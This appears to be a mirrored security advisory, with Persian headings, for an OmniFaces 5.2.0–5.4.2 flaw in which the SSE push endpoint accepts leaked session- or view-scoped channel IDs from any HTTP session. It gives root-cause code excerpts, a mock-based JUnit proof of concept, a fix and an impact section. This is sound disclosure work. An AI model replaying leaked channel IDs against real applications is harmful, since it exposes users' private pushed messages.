نسخههای متأثر
- نسخههای متأثر
- >= 5.2.0, <= 5.4.2
- نسخهٔ اصلاحشده
- 5.4.3
شرح آسیبپذیری
Summary
GHSA-fp43-vj7g-pg92 (fixed 5.4.2) bound session- and view-scoped WebSocket (o:socket) push channels to the HTTP session that registered them, so a leaked channel ID can no longer be connected to from a foreign or absent HTTP session. The fix (d5cae243c4) touched only the Socket* classes.
The parallel SSE (o:sse, added in 5.2) push transport was left unchanged. SseEndpoint.doGet accepts a connection whenever the presented channel ID is in the application-wide registry, without ever checking that the caller's HTTP session owns it. A leaked session/view-scoped SSE channel ID can therefore be replayed from any (or no) HTTP session to receive the messages pushed to it — exactly the behaviour the advisory removed for WebSocket, still present on SSE at the latest release.
Root Cause
Both push transports share the same base classes. A session- or view-scoped channel ID is minted as channel + "?" + UUID.randomUUID() and registered only in an application-scoped, session-agnostic registry: PushChannelManager#L123 mints it and #L136 calls getPushSessions().register(channelId); the registry's membership test is PushSessionManager#L137-L139:
protected boolean isRegistered(String channelId) {
return sessions.containsKey(channelId); // keyed by channelId only — no HTTP-session dimension
}
WebSocket (fixed). SocketChannelManager.register additionally records session/view channel IDs on the HTTP session, and the handshake refuses anything not owned by the caller's session, at SocketEndpoint.java#L133-L142:
if (
!SocketChannelManager.isApplicationScopedChannelId(channelId)
&& !SocketChannelManager.isChannelIdRegisteredInSession((HttpSession) request.getHttpSession(), channelId)
) {
throw new IllegalStateException(ERROR_UNAUTHORIZED_CHANNEL);
}
SSE (unfixed). SseChannelManager extends the base register() unchanged (no HTTP-session registration), and the endpoint's sole accept gate is the global isRegistered check, at SseEndpoint.java#L59-L66:
var channel = getChannel(request);
var channelId = channel + "?" + request.getQueryString();
var sseSessions = Beans.getReference(SseSessionManager.class);
if (channel == null || !sseSessions.isRegistered(channelId)) {
response.getOutputStream().write(SSE_NOT_FOUND_EVENT);
return;
}
// ...accepts: startAsync() and streams events for this channel
doGet never calls request.getSession(...); no Sse* class consults the HTTP session for the accept decision. So for a session/view-scoped channel ID the fix intends to bind, WebSocket refuses a foreign/absent session while SSE accepts it. (Application-scoped channels are unbound by design on both transports — not at issue here.)
Related, same root cause: the idle-timeout and max-sessions-per-channel bounds the fix added to SocketEndpoint / SocketSessionManager were also not ported to SSE — SseEndpoint.doGet sets asyncContext.setTimeout(0) and SseSessionManager inherits the unbounded getMaxSessionsPerChannel().
Steps to Reproduce
The PoC drives the real SseEndpoint.doGet from omnifaces 5.4.2 and shows it accepts a leaked session-scoped channel ID from a request carrying no owning HTTP session (and never consults the session), while the WebSocket fix refuses the same class of ID.
Prerequisites
JDK 21 or newer (tested on Temurin/Zulu 21 and OpenJDK 25)
Apache Maven 3.9+
Step 1: Create the project
mkdir -p /tmp/omnifaces-sse-poc/src/test/java/org/omnifaces/cdi/push
cd /tmp/omnifaces-sse-poc
cat > pom.xml <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>poc</groupId>
<artifactId>omnifaces-sse-poc</artifactId>
<version>1.0</version>
<packaging>jar</packaging>
<properties>
<maven.compiler.release>21</maven.compiler.release>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>org.omnifaces</groupId>
<artifactId>omnifaces</artifactId>
<version>5.4.2</version>
</dependency>
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
<version>6.1.0</version>
</dependency>
<dependency>
<groupId>jakarta.enterprise</groupId>
<artifactId>jakarta.enterprise.cdi-api</artifactId>
<version>4.1.0</version>
</dependency>
<dependency>
<groupId>jakarta.websocket</groupId>
<artifactId>jakarta.websocket-api</artifactId>
<version>2.2.0</version>
</dependency>
<dependency>
<groupId>org.apache.myfaces.core</groupId>
<artifactId>myfaces-api</artifactId>
<version>4.1.0</version>
</dependency>
<dependency>
<groupId>jakarta.el</groupId>
<artifactId>jakarta.el-api</artifactId>
<version>6.0.0</version>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter</artifactId>
<version>5.11.3</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mockito</groupId>
<artifactId>mockito-core</artifactId>
<version>5.14.2</version>
<scope>test</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<version>3.5.1</version>
</plugin>
</plugins>
</build>
</project>
EOF
Step 2: Add the test
cd /tmp/omnifaces-sse-poc
cat > src/test/java/org/omnifaces/cdi/push/SseChannelBindingPoCTest.java <<'EOF'
package org.omnifaces.cdi.push;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.mockito.ArgumentMatchers.anyBoolean;
import static org.mockito.Mockito.RETURNS_DEEP_STUBS;
import static org.mockito.Mockito.atLeastOnce;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.mockStatic;
import static org.mockito.Mockito.never;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.when;
import java.lang.reflect.Field;
import java.util.UUID;
import org.junit.jupiter.api.Test;
import org.mockito.MockedStatic;
import org.omnifaces.util.Beans;
import jakarta.servlet.AsyncContext;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
// Placed in package org.omnifaces.cdi.push to reach the protected/package-private push internals.
class SseChannelBindingPoCTest {
// Drives the REAL SseEndpoint.doGet from omnifaces 5.4.2 (the advisory-patched release).
// A session-scoped SSE channel id that leaked is accepted from a request that carries no
// owning HTTP session, and the endpoint never even calls getSession().
@Test
void sse_endpoint_accepts_leaked_channel_from_a_request_with_no_session() throws Exception {
SseSessionManager registry = new SseSessionManager(); // the @ApplicationScoped global registry
setField(registry, "sseUsers", mock(SseUserManager.class)); // consulted by add(); return null user
String channel = "clock";
String uuid = UUID.randomUUID().toString();
String leakedChannelId = channel + "?" + uuid; // session-scoped id = channel + "?" + UUID
registry.register(leakedChannelId); // victim's page registered it at push time
HttpServletRequest request = mock(HttpServletRequest.class, RETURNS_DEEP_STUBS);
when(request.getPathInfo()).thenReturn("/" + channel);
when(request.getQueryString()).thenReturn(uuid);
AsyncContext asyncContext = mock(AsyncContext.class);
when(request.startAsync()).thenReturn(asyncContext);
HttpServletResponse response = mock(HttpServletResponse.class, RETURNS_DEEP_STUBS);
try (MockedStatic<Beans> beans = mockStatic(Beans.class)) {
beans.when(() -> Beans.getReference(SseSessionManager.class)).thenReturn(registry);
new SseEndpoint().doGet(request, response); // the real endpoint
verify(request).startAsync(); // accept branch: event stream opened
assertTrue(registry.isRegistered(leakedChannelId)); // attacker connection registered under victim's id
verify(request, never()).getSession(); // endpoint NEVER consults the HTTP session
verify(request, never()).getSession(anyBoolean());
verify(response, never()).getOutputStream(); // 404 reject branch NOT taken
beans.verify(() -> Beans.getReference(SseSessionManager.class), atLeastOnce());
}
}
// The differential: GHSA-fp43-vj7g-pg92 added exactly this binding to the WebSocket transport.
// For the same class of leaked session-scoped id, a caller with no owning HTTP session is refused.
@Test
void websocket_fix_binds_the_same_class_of_id_to_the_http_session() {
String leakedSessionScopedChannelId = "clock?" + UUID.randomUUID();
assertFalse(SocketChannelManager.isChannelIdRegisteredInSession(null, leakedSessionScopedChannelId));
assertFalse(SocketChannelManager.isApplicationScopedChannelId(leakedSessionScopedChannelId));
}
private static void setField(Object target, String name, Object value) throws Exception {
Field field = SseSessionManager.class.getDeclaredField(name);
field.setAccessible(true);
field.set(target, value);
}
}
EOF
Step 3: Run
cd /tmp/omnifaces-sse-poc
mvn -B test -DargLine="-Dnet.bytebuddy.experimental=true"
The net.bytebuddy.experimental flag lets Mockito's inline mock maker run on JDK 25; it is harmless on JDK 21-24.
Expected output:
[INFO] T E S T S
[INFO] Running org.omnifaces.cdi.push.SseChannelBindingPoCTest
[INFO] Tests run: 2, Failures: 0, Errors: 0, Skipped: 0
[INFO] BUILD SUCCESS
sse_endpoint_accepts_leaked_channel_from_a_request_with_no_session passing means the real SseEndpoint.doGet opened the event stream for the leaked channel ID (startAsync called, connection registered, no 404 written) without ever calling getSession(). websocket_fix_binds_the_same_class_of_id_to_the_http_session passing shows the WebSocket fix refuses that same class of ID for a caller with no owning session.
Suggested Fix
Port the WebSocket session binding to SSE: register session/view scoped channel IDs on the HTTP session (as SocketChannelManager.registerChannelIdInSession does) and, in SseEndpoint.doGet, refuse the connection unless the channel is application-scoped or isChannelIdRegisteredInSession(request.getSession(false), channelId). Also port the idle-timeout and max-sessions-per-channel bounds to SseEndpoint / SseSessionManager. (Advisory only.)
Cleanup
rm -rf /tmp/omnifaces-sse-poc
Impact
An application that uses <o:sse> / @Push(type=SSE) with scope="session", scope="view", or a user attribute pushes messages intended for one session/user. The channel ID (channel + "?" + UUID) is a per-session/view secret carried in the SSE request URL, so it is exposed anywhere such URLs are logged: proxy and server access logs (CWE-598), APM / error reports, Referer headers, or a shared/copied link. An attacker who obtains a victim's channel ID can, from a different browser or with no session at all, connect to the SSE endpoint and receive every message the application pushes to that channel — data the scope exists to keep private to the victim. This is the same replay the maintainer fixed for the WebSocket transport in GHSA-fp43-vj7g-pg92 (issue: session/view channels connectable from a foreign or absent HTTP session), still reachable on SSE at 5.4.2. The concrete confidentiality depends on what the application pushes to the scope; the attacker only receives (no message injection). It requires prior exposure of the channel ID, matching the advisory's own threat model for the WebSocket case.
پیوندها
- https://github.com/advisories/GHSA-w3w6-9m25-g88p
- https://github.com/omnifaces/omnifaces
- https://github.com/omnifaces/omnifaces/commit/78fe2b6989387f93718bdb932fb4497e338dd638
- https://github.com/omnifaces/omnifaces/security/advisories/GHSA-w3w6-9m25-g88p
- https://nvd.nist.gov/vuln/detail/CVE-2026-109549
گزارشدهندگان
- alimony

